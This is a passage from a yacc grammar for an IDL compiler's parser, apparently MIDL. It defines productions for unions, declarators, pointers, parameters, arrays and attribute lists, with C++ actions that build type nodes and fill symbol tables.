node_field * pSwitchField = (node_field *) $4.pNode;
node_field * pUnionField = new node_field;
node_switch_type * pSwType = new node_switch_type(
pSwitchField->GetChild() );
if( IsTempName( $4.pName ) )
$4.pName = "tagged_union";
pUnionField->SetSymName( $4.pName );
pUnionField->SetChild( pUnion );
Fields.Init( pSwitchField );
Fields.Add( pUnionField );
//
// apply the switch_is attribute to the union field.
//
pUnionField->SetAttribute( $4.pSwitch );
// and the switch_type attribute to the union itself
pUnion->SetAttribute( pSwType );
//
// current symbol table is pointing to a new scope. Enter the two
// fields into this scope.
//
SKey.SetKind( NAME_MEMBER );
SKey.SetString( pSwitchField->GetSymName() );
pCurSymTbl->SymInsert( SKey, (SymTable *)0, pSwitchField );
CheckGlobalNamesClash( SKey );
SKey.SetString( pUnionField->GetSymName() );
pCurSymTbl->SymInsert( SKey, (SymTable *)0, pUnionField );
CheckGlobalNamesClash( SKey );
pSymLowerScope = pCurSymTbl;
pSymTblMgr->PopSymLevel( &pCurSymTbl );
//
// create a new structure entry and enter into the symbol table.
//
node_struct * pStruct;
SKey.SetKind( NAME_UNION );
SKey.SetString( $3 );
pStruct = (node_struct *)pBaseSymTbl->SymSearch( SKey );
if( fFound = ( pStruct != (node_struct *)NULL ) )
fStructIsForwardDecl = (pStruct->NodeKind() == NODE_FORWARD || pStruct->NodeKind() == NODE_HREF );
if( fFound && !fStructIsForwardDecl )
{
ParseError( DUPLICATE_DEFINITION, $3 );
pStruct = (node_struct *)pErrorTypeNode;
}
else
{
/**
** this is a valid entry. Build the graph for it and
** enter into symbol table. If the struct entry was present as
** a forward decl, delete it
**/
// enter the struct as a union.
SKey.SetKind( NAME_UNION );
SKey.SetString( $3 );
if( fStructIsForwardDecl )
{
pBaseSymTbl->SymDelete( SKey );
}
pStruct = new node_en_struct( $3 );
pStruct->SetMembers( Fields );
pStruct->SetZeePee( CurrentZp );
pBaseSymTbl->SymInsert( SKey, pSymLowerScope, pStruct );
CheckGlobalNamesClash( SKey );
}
pUnion->SetZeePee( CurrentZp );
$$.pNode = pStruct;
$$.modifiers = INITIALIZED_MODIFIER_SET();
/* Fix this goo once VC decides what they are doing.
The problem is that VC allows modifiers between the
struct and the tagname, but they are inconsistent in how
it works. The user can always just put the modifier on
the first field anyway.
*/
if ($2.AnyModifiersSet())
{
ParseError( ILLEGAL_MODIFIERS_BETWEEN_SEUKEYWORD_AND_BRACE, NULL );
}
}
;
UnionBody:
UnionCases
;
UnionCases:
UnionCases UnionCase
{
($$ = $1).Merge( $2 );
}
| UnionCase
;
UnionCase:
UnionCaseLabel MemberDeclaration
{
/**
** for each of the fields, attach the case label attribute.
**/
named_node * pNode;
SIBLING_ITER MemIter( $2 );
$$ = $2;
while( pNode = MemIter.Next() )
{
pNode->SetAttribute( $1 );
}
}
| UnionCaseLabel ';'
{
/**
** An empty arm. Allocate a field with a node_error as a basic type
** and set the attribute as a case label
**/
node_field * pField = new node_field( GenTempName() );
pField->SetChild( pErrorTypeNode );
pField->SetAttribute( $1 );
/**
** Generate a list of union fields and add this to the list of
** union fields
**/
$$.Init( pField );
}
| MemberDeclaration
{
/**
** A member declaration without a case label
**/
$$ = $1;
}
| DefaultCase
;
UnionCaseLabel:
'[' KWCASE '(' ConstantExprs ')' ']'
{
$$ = new node_case( $4 );
}
;
DefaultCase:
'[' KWDEFAULT ']' MemberDeclaration
{
named_node * pNode;
SIBLING_ITER MemIter( $4 );
$$ = $4;
while( pNode = MemIter.Next() )
{
pNode->SetAttribute( ATTR_DEFAULT );
}
}
| '[' KWDEFAULT ']' ';'
{
/**
** This is a default with an empty arm. Set up a dummy field.
** The upper productions will then mark set field with a
** default attribute during semantic analysis. The type of this field
** is set up to be an error node for uniformity.
**/
node_field * pField = new node_field( GenTempName() );
pField->SetAttribute( ATTR_DEFAULT );
pField->SetChild( pErrorTypeNode );
$$.Init( pField );
}
;
NidlUnionSwitch:
SwitchSpec
{
$$ = $1;
$$.pName = GenCompName();
}
| SwitchSpec UnionName
{
$$ = $1;
$$.pName = $2;
}
;
NidlUnionBody:
NidlUnionCases
{
$$ = $1.CaseList;
if( $1.DefCount > 1 )
ParseError( TWO_DEFAULT_CASES, (char *)0 );
}
;
NidlUnionCases:
NidlUnionCases NidlUnionCase
{
$$.DefCount += $2.DefCount;
$$.CaseList.Merge( $2.CaseList );
}
| NidlUnionCase
;
NidlUnionCase:
NidlUnionCaseLabelList NidlMemberDeclaration
{
named_node * pNode;
//
// set the case and default attributes.
//
$$.CaseList = $2;
if( $1.pExprList && $1.pExprList->GetCount() )
{
SIBLING_ITER CaseIter( $2 );
while( pNode = CaseIter.Next() )
{
pNode->SetAttribute( new node_case( $1.pExprList ));
}
}
//
// pick up default attribute. pick up the count of number of
// times the user specified default so that we can report the
// error later.
// Let the default case list count travel upward to report an
// error when the total list of case labels is seen.
//
if( $1.pDefault && ( $$.DefCount = $1.DefCount ) )
{
SIBLING_ITER CaseIter( $2 );
while( pNode = CaseIter.Next() )
{
pNode->SetAttribute( $1.pDefault );
}
}
}
;
NidlMemberDeclaration:
MemberDeclaration
| ';'
{
node_field * pNode = new node_field( GenTempName() );
pNode->SetChild( pErrorTypeNode );
$$.Init( pNode );
}
;
NidlUnionCaseLabelList:
NidlUnionCaseLabelList NidlUnionCaseLabel
{
if( $2.pExpr )
$$.pExprList->SetPeer( $2.pExpr );
if( !($$.pDefault) )
$$.pDefault = $2.pDefault;
if( $2.pDefault )
$$.DefCount++;
}
| NidlUnionCaseLabel
{
$$.pExprList = new expr_list;
if( $1.pExpr )
$$.pExprList->SetPeer( $1.pExpr );
if( $$.pDefault = $1.pDefault)
{
$$.DefCount = 1;
}
}
;
NidlUnionCaseLabel:
KWCASE ConstantExpr ':'
{
$$.pExpr = $2;
$$.pDefault = 0;
}
| KWDEFAULT ':'
{
$$.pExpr = 0;
$$.pDefault = new battr( ATTR_DEFAULT );
}
;
SwitchSpec:
KWSWITCH '(' SwitchTypeSpec IDENTIFIER ')'
{
node_field * pField = new node_field( $4 );
$$.pSwitch = new node_switch_is( new expr_variable( $4, pField ));
$$.pNode = pField;
pField->SetChild( $3 );
pField->GetModifiers().SetModifier( ATTR_TAGREF );
}
;
UnionName:
IDENTIFIER
;
/**
** NIDL UNION END
**/
ConstantExprs:
ConstantExprs ',' ConstantExpr
{
$$->SetPeer( $3 );
}
| ConstantExpr
{
$$ = new expr_list;
$$->SetPeer( $1 );
}
;
/* END UNION */
TypeQualifier:
KWVOLATILE
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_VOLATILE);
}
| KWCONST
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_CONST);
}
| KW_C_INLINE
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_C_INLINE);
}
;
MemberDeclaratorList:
MemberDeclarator
{
$$.Init( $1 );
}
| MemberDeclaratorList ',' MemberDeclarator
{
$$ = $1;
$$.Add( $3 );
}
;
MemberDeclarator:
Declarator
{
/**
** a declarator without bit fields specified; a plain field.
**/
if ( ($1.pHighest == NULL)
|| ( $1.pHighest->NodeKind() != NODE_ID ))
{
// gaj - report error
ParseError( BENIGN_SYNTAX_ERROR, "expecting a declarator");
}
else
{
// convert top node of declarator chain to node_field
// and add the field to the symbol table
node_field * pField = new node_field(
(node_id_fe *) $1.pHighest );
char * pName = pField->GetSymName();
SymKey SKey( pName, NAME_MEMBER );
$$.pHighest = pField;
// if the top node was the only node, set pLowest accordingly
$$.pLowest = ( $1.pLowest == $1.pHighest ) ?
pField : $1.pLowest ;
delete (node_id_fe *) $1.pHighest;
if( !pCurSymTbl->SymInsert( SKey, (SymTable *)NULL, pField ) )
{
ParseError( DUPLICATE_DEFINITION, pName );
}
else
CheckGlobalNamesClash( SKey );
};
}
| ':' ConstantExpr
{
/**
** This is a declarator specified without the field name
**/
node_bitfield * pField = new node_bitfield();
char * pName = GenTempName();
pField->SetSymName(pName);
$$.pHighest = pField;
$$.pLowest = pField;
// add the field to the symbol table
SymKey SKey( pName, NAME_MEMBER );
if( !pCurSymTbl->SymInsert( SKey, (SymTable *)NULL, pField ) )
{
ParseError( DUPLICATE_DEFINITION, pName );
}
else
CheckGlobalNamesClash( SKey );
pField->fBitField = (unsigned char)$2->Evaluate();
}
| Declarator ':' ConstantExpr
{
/**
** The complete bit field specification.
**/
if ( ($1.pHighest == NULL)
|| ( $1.pHighest->NodeKind() != NODE_ID ))
{
// gaj - report error
}
else
{
// convert top node of declarator chain to node_field
node_bitfield * pField = new node_bitfield( (node_id_fe *) $1.pHighest );
char * pName = pField->GetSymName();
$$.pHighest = pField;
// if the top node was the only node, set pLowest accordingly
$$.pLowest = ( $1.pLowest == $1.pHighest ) ? pField : $1.pLowest;
delete (node_id_fe *) $1.pHighest;
// add the field to the symbol table
SymKey SKey( pName, NAME_MEMBER );
if( !pCurSymTbl->SymInsert( SKey, (SymTable *)NULL, pField ) )
{
ParseError( DUPLICATE_DEFINITION, pName );
}
else
CheckGlobalNamesClash( SKey );
pField->fBitField = (unsigned char)$3->Evaluate();
}
}
| /** Empty **/
{
// this is used for unnamed nested struct references
node_field * pField = new node_field();
char * pName = GenTempName();
pField->SetSymName( pName);
$$.pHighest = pField;
$$.pLowest = pField;
}
;
OptionalInitDeclaratorList:
InitDeclaratorList
| /* Empty */
{
$$.Init();
}
;
InitDeclaratorList:
InitDeclarator
{
$$.Init( $1 );
}
| InitDeclaratorList ',' InitDeclarator
{
$$ = $1;
$$.Add( $3 );
}
;
InitDeclarator:
Declarator
{
node_id_fe * pID = (node_id_fe *) $1.pHighest;
/**
** If the top node of the declarator is null, create a dummy ID
** but not if the top is a proc...
**/
if ( ($1.pHighest == NULL)
|| ( ( $1.pHighest->NodeKind() != NODE_ID )
&& ( $1.pHighest->NodeKind() != NODE_PROC) ) )
{
pID = new node_id_fe( GenTempName() );
pID->SetChild( $1.pHighest );
$$.pHighest = pID;
$$.pLowest = ( $1.pLowest ) ? $1.pLowest : pID; // in case of null
};
/**
** and add the id to the symbol table
** for node_proc's, leave original in symbol table
**/
if ( $1.pHighest->NodeKind() != NODE_PROC )
{
char * pName = pID->GetSymName();
SymKey SKey( pName, NAME_ID );
if( !pCurSymTbl->SymInsert( SKey, (SymTable *)NULL, pID ) )
{
ParseError( DUPLICATE_DEFINITION, pName );
}
else
CheckGlobalNamesClash( SKey );
}
};
| Declarator '=' Initializer
{
if ( ($1.pHighest == NULL)
|| ( $1.pHighest->NodeKind() != NODE_ID ))
{
// gaj - report error
}
else
{
node_id_fe * pID = (node_id_fe *) $1.pHighest;
// fill in initializer
pID->pInit = $3;
$$ = $1;
// and add the id to the symbol table
char * pName = pID->GetSymName();
SymKey SKey( pName, NAME_ID );
if( !pCurSymTbl->SymInsert( SKey, (SymTable *)NULL, pID ) )
{
ParseError( DUPLICATE_DEFINITION, pName );
}
else
CheckGlobalNamesClash( SKey );
};
}
;
TypedefDeclaratorList:
';'
{
$$.Init();
}
| TypedefDeclaratorListElement ';'
;
TypedefDeclaratorListElement:
TypedefDeclarator
{
$$.Init( $1 );
}
| TypedefDeclaratorListElement ',' TypedefDeclarator
{
$$ = $1;
$$.Add( $3 );
}
;
TypedefDeclarator:
Declarator
{
node_def_fe * pDef;
char * pName;
if ($1.pHighest == NULL)
{
// gaj - report error
}
else if ( $1.pHighest->NodeKind() == NODE_PROC )
{
// build new node_def and attach to top
node_proc * pProc = (node_proc *) $1.pHighest;
pName = pProc->GetSymName();
pDef = new node_def_fe( (node_proc *) $1.pHighest );
pDef->SetSymName(pName);
pDef->SetChild( $1.pHighest );
if ( !strcmp(pName, "HRESULT") || !strcmp(pName, "SCODE") )
pDef->SetIsHResultOrSCode();
$$.pHighest = pDef;
$$.pLowest = $1.pLowest;
SymKey SkeyOld( pName, NAME_PROC );
pInterfaceInfoDict->GetInterfaceProcTable()->SymDelete( SkeyOld );
SymKey SKey( pName, NAME_DEF );
if( !pCurSymTbl->SymInsert( SKey, (SymTable *)NULL, pDef ) )
{
ParseError( DUPLICATE_DEFINITION, pName );
}
else
CheckGlobalNamesClash( SKey );
}
else if ( $1.pHighest->NodeKind() == NODE_ID )
{
// convert top node of declarator chain to node_def
// and add the def to the symbol table
node_def_fe * pDef = new node_def_fe( (node_id_fe *) $1.pHighest );
char * pName = pDef->GetSymName();
SymKey SKey( pName, NAME_DEF );
if ( !pName )
pDef->SetSymName( GenTempName() );
if ( !strcmp(pName, "HRESULT") || !strcmp(pName, "SCODE") )
pDef->SetIsHResultOrSCode();
$$.pHighest = pDef;
// if the top node was the only node, set pLowest accordingly
$$.pLowest = ( $1.pLowest == $1.pHighest ) ? pDef : $1.pLowest;
delete (node_id_fe *) $1.pHighest;
named_node * pFound;
// Allow redefinition of imported types.
pFound = pBaseSymTbl->SymSearch( SKey );
// if (pFound && ( pFound->NodeKind() == NODE_HREF ))
if (pFound && ( NULL != pFound->GetDefiningFile() ))
{
pBaseSymTbl->SymDelete( SKey );
}
if(!pCurSymTbl->SymInsert( SKey, (SymTable *)NULL, pDef ))
{
//
// allow benign redef of wchar_t & error_status_t.
//
if ( ( strcmp( pName, "wchar_t" ) != 0 ) &&
( strcmp( pName, "error_status_t" ) != 0 ) )
{
ParseError( DUPLICATE_DEFINITION, pName );
}
}
else
{
CheckGlobalNamesClash( SKey );
}
};
}
;
OptionalDeclarator:
Declarator
| /* Empty */
{
$$.Init();
}
;
/***
*** declarators are the last part of declarations; e.g. with
*** long *p, **q, f(long abc);
*** each of "*p", "**q", and "f(long abc)" are declarators.
***
*** As declarators are built, they are just dangling parts of the
*** typegraph, so we pass the topmost node and the lowest node (with
*** no child set yet)
***
***/
Declarator:
OptionalModifierList Declarator2
{
// note that leading modifiers eventually attach to the
// lowest node of the declarator
$2.pLowest->GetModifiers().Merge( $1 );
$$ = $2;
}
| Pointer
| Pointer OptionalModifierList Declarator2
{
// point dangling declarator2 lowest to pointer highest,
// set modifiers on Declarator2
// return declarator2 highest with pointer lowest
$3.pLowest->GetModifiers().Merge( $2 );
$3.pLowest->SetChild($1.pHighest);
$$.pLowest = $1.pLowest;
$$.pHighest = $3.pHighest;
}
;
/***
*** Note that modifiers get stored with the pointer or declarator2 FOLLOWING
*** the attribute
***
*** Note also that pHighest and pLowest are guaranteed to be non-null
*** for pointers.
***/
Pointer:
OptionalModifierList '*' OptionalPostfixPtrModifier
{
node_pointer * pPtr = new node_pointer( (node_pointer *) NULL );
pPtr->GetModifiers().Merge( $1 );
pPtr->GetModifiers().Merge( $3 );
#ifdef gajdebug8
printf("\t\t attaching modifier to lone ptr: %08x\n",$1);
#endif
// create node_pointer with modifierlist
$$.Init( pPtr );
}
| Pointer OptionalModifierList '*' OptionalPostfixPtrModifier
{
node_pointer * pPtr = new node_pointer( $1.pHighest );
pPtr->GetModifiers().Merge( $2 );
pPtr->GetModifiers().Merge( $4 );
// create node_pointer, set child, apply modifierlist to it
$$.Init( pPtr, $1.pLowest );
}
;
OptionalPostfixPtrModifier:
MSCPTR32
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_PTR32 );
ParseError( BAD_CON_MSC_CDECL, "__ptr32" );
}
| MSCPTR64
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_PTR64 );
ParseError( BAD_CON_MSC_CDECL, "__ptr64" );
}
|
{
$$.Clear();
}
;
OptionalModifierList:
ModifierList
| /* Empty */
{
$$.Clear();
}
;
ModifierList:
Modifier
| ModifierList Modifier
{
$$ = $1;
$$.Merge( $2 );
}
;
Modifier:
PtrModifier
| FuncModifier
| TypeQualifier
;
PtrModifier:
MSCFAR
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_FAR );
ParseError( BAD_CON_MSC_CDECL, "__far" );
}
| MSCNEAR
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_NEAR );
ParseError( BAD_CON_MSC_CDECL, "__near" );
}
| MSCHUGE
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_HUGE );
ParseError( BAD_CON_MSC_CDECL, "__huge" );
}
| MSCUNALIGNED
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_MSCUNALIGNED );
ParseError( BAD_CON_MSC_CDECL, "unaligned" );
}
;
FuncModifier:
MSCPASCAL
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_PASCAL );
ParseError( BAD_CON_MSC_CDECL, "__pascal" );
}
| MSCFORTRAN
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_FORTRAN );
ParseError( BAD_CON_MSC_CDECL, "__fortran" );
}
| MSCCDECL
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_CDECL );
ParseError( BAD_CON_MSC_CDECL, "__cdecl" );
}
| MSCSTDCALL
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_STDCALL );
ParseError( BAD_CON_MSC_CDECL, "__stdcall" );
}
| MSCLOADDS /* potentially interesting */
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_LOADDS );
ParseError( BAD_CON_MSC_CDECL, "__loadds" );
}
| MSCSAVEREGS
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_SAVEREGS );
ParseError( BAD_CON_MSC_CDECL, "__saveregs" );
}
| MSCFASTCALL
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_FASTCALL );
ParseError( BAD_CON_MSC_CDECL, "__fastcall" );
}
| MSCSEGMENT
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_SEGMENT );
ParseError( BAD_CON_MSC_CDECL, "__segment" );
}
| MSCINTERRUPT
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_INTERRUPT );
ParseError( BAD_CON_MSC_CDECL, "__interrupt" );
}
| MSCSELF
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_SELF );
ParseError( BAD_CON_MSC_CDECL, "__self" );
}
| MSCEXPORT
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_EXPORT );
ParseError( BAD_CON_MSC_CDECL, "__export" );
}
| MscDeclSpec
| MSCEMIT NUMERICCONSTANT
{
$$ = INITIALIZED_MODIFIER_SET( ATTR_NONE );
ParseError( BAD_CON_MSC_CDECL, "__emit" );
}
;
/* Declarator2 is whatever is left of the declarator after all the
pointer stuff has been eaten
*/
Declarator2:
'(' Declarator ')'
{
$$ = $2;
}
| Declarator2 PhantomPushSymtab ParamsDecl2 OptionalConst
{
node_proc * pProc;
char * pName;
SymTable * pParamSymTbl = pCurSymTbl;
BOOL IsProc = TRUE;
/**
** If the declarator was an ID and just a simple ID (basic type is
** a null), we have just seen a declaration of a procedure.
** If we saw an ID which had a basic type, then the ID is a declarator
** whose basic type is a procedure (like in a typedef of a proc or
** pointer to proc).
**/
/**
** if the node is a simple ID, then copy node details, else,
** set the basic type of the declarator as this proc, and set the
** procs name to a temporary.
**/
// gaj - check for null...
if ( ( $1.pHighest == $1.pLowest)
&& ($1.pLowest->NodeKind() == NODE_ID ) )
{
pProc = new node_proc( ImportLevel,
IS_CUR_INTERFACE_LOCAL(),
(node_id_fe *) $1.pHighest);
pName = pProc->GetSymName();
$$.pHighest = pProc;
$$.pLowest = pProc;
delete (node_id_fe *) $1.pHighest;
}
else
{
pProc = new node_proc( ImportLevel,
IS_CUR_INTERFACE_LOCAL() );
pProc->SetSymName( pName = GenTempName() );
$1.pLowest->SetChild( pProc );
$$.pHighest = $1.pHighest;
$$.pLowest = pProc;
IsProc = FALSE;
}
/**
** Set members of the procedure node as the parameter nodes.
**/
pProc->SetMembers( $3 );
/**
** discard the inner symbol table contents (unless it had fwds)
**/
pCurSymTbl->DiscardScope();
/**
** restore the symbol tables scope to normal, since we have already
** picked up a pointer to the next scope symbol table.
**/
pSymTblMgr->PopSymLevel( &pCurSymTbl );
/**
** if this proc was entered into our symbol table, then this is a
** redeclaration.But wait ! This is true only if the importlevel is 0
** I.e , if there was a proc of the same name defined at an import
** level greater, we dont care. (Actually, we must really check
** signatures, so that valid redeclarations are ok, with a warning )
**/
if( IsProc )
{
SymKey SKey( pName, NAME_PROC );
//if ( ImportLevel == 0 )
{
if( !pInterfaceInfoDict->GetInterfaceProcTable()->
SymInsert( SKey, pParamSymTbl, pProc ) )
{
ParseError( DUPLICATE_DEFINITION, pName );
}
}
/********
else
CheckGlobalNamesClash( SKey );
********/
}
/**
** finally, for the const support, if the optional const is true
** apply the const attribute on the proc
**/
pProc->GetModifiers().Merge( $4 );
}
| '(' ')' OptionalConst
{
/**
** this is an abstract declarator for a procedure. Generate a
** new proc node with a temp name, enter the name into the symbol
** table.
**/
char * pName = GenTempName();
SymKey SKey( pName, NAME_PROC );
node_proc * pProc = new node_proc( ImportLevel,
IS_CUR_INTERFACE_LOCAL() );
$$.Init ( pProc );
pProc->SetSymName( pName );
/**
** enter this into the symbol table , only if we are in the base idl
** file, not an imported file.
**/
if ( ImportLevel == 0 )
pInterfaceInfoDict->GetInterfaceProcTable()->
SymInsert( SKey,
(SymTable *)NULL,
(named_node *) $$.pHighest );
/**
** finally, for the const support, if the optional const is true
** apply the const attribute on the proc
**/
pProc->GetModifiers().Merge( $3 );
}
| Declarator2 ArrayDecl
{
/**
** The basic type of the declarator is the array
**/
$$.pHighest = $1.pHighest;
$1.pLowest->SetChild( $2.pHighest );
$$.pLowest = $2.pLowest;
}
| ArrayDecl
{
$$ = $1;
}
| IDENTIFIER
{
char * pName = $1;
if ( !pName )
pName = GenTempName();
$$.Init( new node_id_fe( pName ) );
}
| TypeName
{
/**
** This production ensures that a declarator can be the same name
** as a typedef. The lexer will return all lexemes which are
** typedefed as TYPENAMEs and we need to permit the user to specify
** a declarator of the same name as the type name too! This conflict
** arises only in the declarator productions, so this is an easy way
** to support it.
**/
$$.Init( new node_id_fe( $1->GetCurrentSpelling() ) );
}
;
/* Note: the omition of param_decl2 above precludes
int foo( int (bar) ); a real ambiguity of C. If bar is a predefined
type then the parameter of foo can be either:
1. a function with a bar param, and an int return value, as in
int foo( int func(bar) );
2. A function with an int parameter by the name of bar, as in
int foo( int bar );
*/
ParamsDecl2:
'(' ')'
{
/**
** this production corresponds to no params to a function.
**/
/**
** Return it as an empty list of parameters
**/
$$.Init( NULL );
}
| '(' ParameterTypeList ')'
{
$$ = $2;
}
;
ParameterTypeList:
ParameterList
| ParameterList ',' DOTDOT '.'
{
/**
** This is meaningless in rpc, but we consume it and report an
** error during semantics, if a proc using this param ever gets
** remoted. We call this a param node with the name "...". And set its
** basic type to an error node, so that a param is properly terminated.
** The backend can emit a "..." for the name, so that this whole
** thing is essentially transparent to it.
**/
if ( 1 ) //ImportLevel == 0 ) <- change back when imported params not needed
{
node_param * pParam = new node_param;
pParam->SetSymName( "..." );
pParam->SetChild( pErrorTypeNode );
$$ = $1;
$$.Add( pParam );
}
}
;
ParameterList:
ParameterDeclaration
{
$$.Init( $1 );
}
| ParameterList ',' ParameterDeclaration
{
if ( $3 && $1.NonNull() )
{
$$.Add( (named_node *) $3 );
}
else
{
// tbd - error if later parameters are void
}
}
;
ParameterDeclaration:
OptionalAttrList DeclarationSpecifiers Declarator
{
if (0) // ( ImportLevel > 0 )
{
if ( $3.pHighest->NodeKind() == NODE_ID )
delete (node_id_fe *) $3.pHighest;
$$ = NULL;
}
else
{
node_param * pParam;
char * pName;
node_id_fe * pOriginal = NULL;
/**
** Apply the declaration specifier to the declarator as a basic type
**/
$3.pLowest->SetChild( $2.pNode );
/**
** apply any attributes specified to the declaration specifiers
**/
$3.pLowest->GetModifiers().Merge( $2.modifiers );
/**
** if the declarator was just an id, then we have to copy the
** node details over, else set the basic type of the param to
** the declarator
**/
if ( $3.pHighest->NodeKind() == NODE_ID )
{
pOriginal = (node_id_fe *) $3.pHighest;
pParam = new node_param( pOriginal );
}
else
{
pParam = new node_param;
pParam->SetChild( $3.pHighest );
};
/**
** prepare for symbol table entry.
**/
if( !(pName = pParam->GetSymName()) )
{
pParam->SetSymName(pName = GenTempName() );
}
if ( IsTempName( pParam->GetSymName() ) )
ParseError( ABSTRACT_DECL, (char *)NULL );
SymKey SKey( pName, NAME_MEMBER );
/**
** enter the parameter into the symbol table.
** If the user specified more than one param with the same name,
** report an error, else insert the symbol into the table
**/
if( !pCurSymTbl->SymInsert( SKey, (SymTable *)NULL, pParam ) )
{
//
// dont complain on another param of name void. This check is
// made elsewhere.
//
if( strcmp( pName, "void" ) != 0 )
ParseError( DUPLICATE_DEFINITION, pName );
}
else
CheckGlobalNamesClash( SKey );
if ( $1 )
{
pParam->AddAttributes( $1 );
}
// clean up any old node_id
if ( pOriginal )
delete pOriginal;
/**
** return the node back
**/
$$ = pParam;
}
}
| OptionalAttrList DeclarationSpecifiers
{
/**
** This is the case when the user specified a simple abstract
** declaration eg proc1( short ). In other words, the declarator is
** optional. Abstract declarators are illegal in osf mode.
** If the declaration specifier is a void then skip the parameter
**/
if( // ( ImportLevel > 0 ) ||
( $2.pNode->NodeKind() == NODE_VOID ) )
{
$$ = NULL;
}
else
{
char * pName = GenTempName();
SymKey SKey( pName, NAME_MEMBER );
node_param * pParam = new node_param;
pParam->SetSymName( pName );
pParam->SetChild( $2.pNode );
ParseError( ABSTRACT_DECL, (char *)NULL );
/**
** enter into symbol table, just like anything else.
**/
if( !pCurSymTbl->SymInsert( SKey, (SymTable *)NULL, pParam ) )
{
ParseError( DUPLICATE_DEFINITION, pName );
}
/**
** apply any attributes specified to the declaration specifiers
**/
pParam->GetModifiers().Merge( $2.modifiers );
if ( $1 )
{
pParam->AddAttributes( $1 );
}
$$ = pParam;
}
}
;
OptionalConst:
KWCONST
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_PROC_CONST);
}
| /* empty */
{
$$.Clear();
}
;
ArrayDecl:
ArrayDecl2
{
$$.Init( new node_array( $1.LowerBound, $1.UpperBound ) );
}
;
ArrayDecl2:
'[' ']'
{
/**
** we identify a conformant array by setting the upperbound to -1
** and the lower to 0
**/
$$.UpperBound = (expr_node *) -1;
$$.LowerBound = (expr_node *) 0;
}
| '[' '*' ']'
{
/**
** This is also taken to mean a conformant array, upper bound known
** only at runtime. The lower bound is 0
**/
$$.UpperBound = (expr_node *)-1;
$$.LowerBound = (expr_node *)0;
}
| '[' ConstantExpr ']'
{
/**
** this is the case of an array whose lower bound is 0
**/
$$.UpperBound = $2;
$$.LowerBound = (expr_node *)0;
}
| '[' ArrayBoundsPair ']'
{
if( ($2.LowerBound)->Evaluate() != 0 )
ParseError( ARRAY_BOUNDS_CONSTRUCT_BAD, (char *)NULL );
$$ = $2;
}
;
ArrayBoundsPair:
ConstantExpr DOTDOT ConstantExpr
{
/**
** the fact that the expected expression is not a constant is
** verified by the constantExpr production. All we have to do here is
** to pass the expression up.
**/
$$.LowerBound = $1;
$$.UpperBound = new expr_b_arithmetic( OP_PLUS,
$3,
GetConstant1() );
}
;
InternationalCharacterType:
KWISOLATIN1
{
$$ = KWISOLATIN1;
}
| KWPRIVATECHAR8
{
$$ = KWPRIVATECHAR8;
}
| KWISOMULTILINGUAL
{
$$ = KWISOMULTILINGUAL;
}
| KWPRIVATECHAR16
{
$$ = KWPRIVATECHAR16;
}
| KWISOUCS
{
$$ = KWISOUCS;
}
;
MscDeclSpec:
KWMSCDECLSPEC
{
ParseError( BAD_CON_MSC_CDECL, "__declspec" );
$$ = $1;
}
;
MscOptDeclSpecList:
MscDeclSpec
{
$$ = $1;
}
| MscOptDeclSpecList MscDeclSpec
{
$$ = $1;
$$.Merge($2);
}
|
{
$$.Clear();
}
;
/********************************* MIDL attributes **********************/
OptionalAttrList:
AttrList
| /* Empty */
{
$$.MakeAttrList();
}
;
OptionalAttrListWithDefault:
AttrListWithDefault
| /* Empty */
{
$$.MakeAttrList();
}
;
AttrList:
AttrList AttrSet
{
// note that in all left-recursive productions like this we are
// relying on an implicit $$ = $1 operation
$$.Merge( $2 );
}
| AttrSet
;
AttrListWithDefault:
AttrListWithDefault AttrSetWithDefault
{
// note that in all left-recursive productions like this we are
// relying on an implicit $$ = $1 operation
$$.Merge( $2 );
}
| AttrSetWithDefault
;
AttrSet:
'[' Attributes ']'
{
$$ = $2;
}
;
AttrSetWithDefault:
'[' AttributesWithDefault ']'
{
$$ = $2;
}
;
Attributes:
Attributes ',' OneAttribute
{
$$.Merge( $3 );
}
| OneAttribute
;
AttributesWithDefault:
AttributesWithDefault ',' OneAttributeWithDefault
{
$$.Merge( $3 );
}
| OneAttributeWithDefault
;
OneAttribute:
InterfaceAttribute
{
$$.MakeAttrList( $1 );
}
| TypeAttribute
{
$$.MakeAttrList( $1 );
}
| FieldAttribute
| PtrAttr
{
$$.MakeAttrList( $1 );
}
| DirectionalAttribute
{
$$.MakeAttrList( $1 );
}
| OperationAttribute
{
$$.MakeAttrList( $1 );
}
| OdlAttribute
{
$$.MakeAttrList( $1 );
}
;
OneAttributeWithDefault:
InterfaceAttribute
{
$$.MakeAttrList( $1 );
}
| TypeAttribute
{
$$.MakeAttrList( $1 );
}
| FieldAttribute
| PtrAttr
{
$$.MakeAttrList( $1 );
}
| DirectionalAttribute
{
$$.MakeAttrList( $1 );
}
| OperationAttribute
{
$$.MakeAttrList( $1 );
}
| OdlAttribute
{
$$.MakeAttrList( $1 );
}
| KWDEFAULT
{
$$.MakeAttrList(new battr( ATTR_DEFAULT ));
}
;
;
InterfaceAttribute:
KWENDPOINT '(' EndPtSpecs ')'
{
$$ = $3;
}
| KWUUID '('
{
LexContext = LEX_GUID; /* turned off by the lexer */
}
Guid ')'
{
$$ = $4;
}
| KWASYNCUUID '('
{
if ( pCommand->GetNdrVersionControl().TargetIsLessThanNT50() )
ParseError( INVALID_FEATURE_FOR_TARGET, "[async_uuid]");
LexContext = LEX_GUID; /* turned off by the lexer */
}
AsyncGuid ')'
{
$$ = $4;
}
| KWLOCAL
{
$$ = new battr( ATTR_LOCAL );
}
| KWOBJECT
{
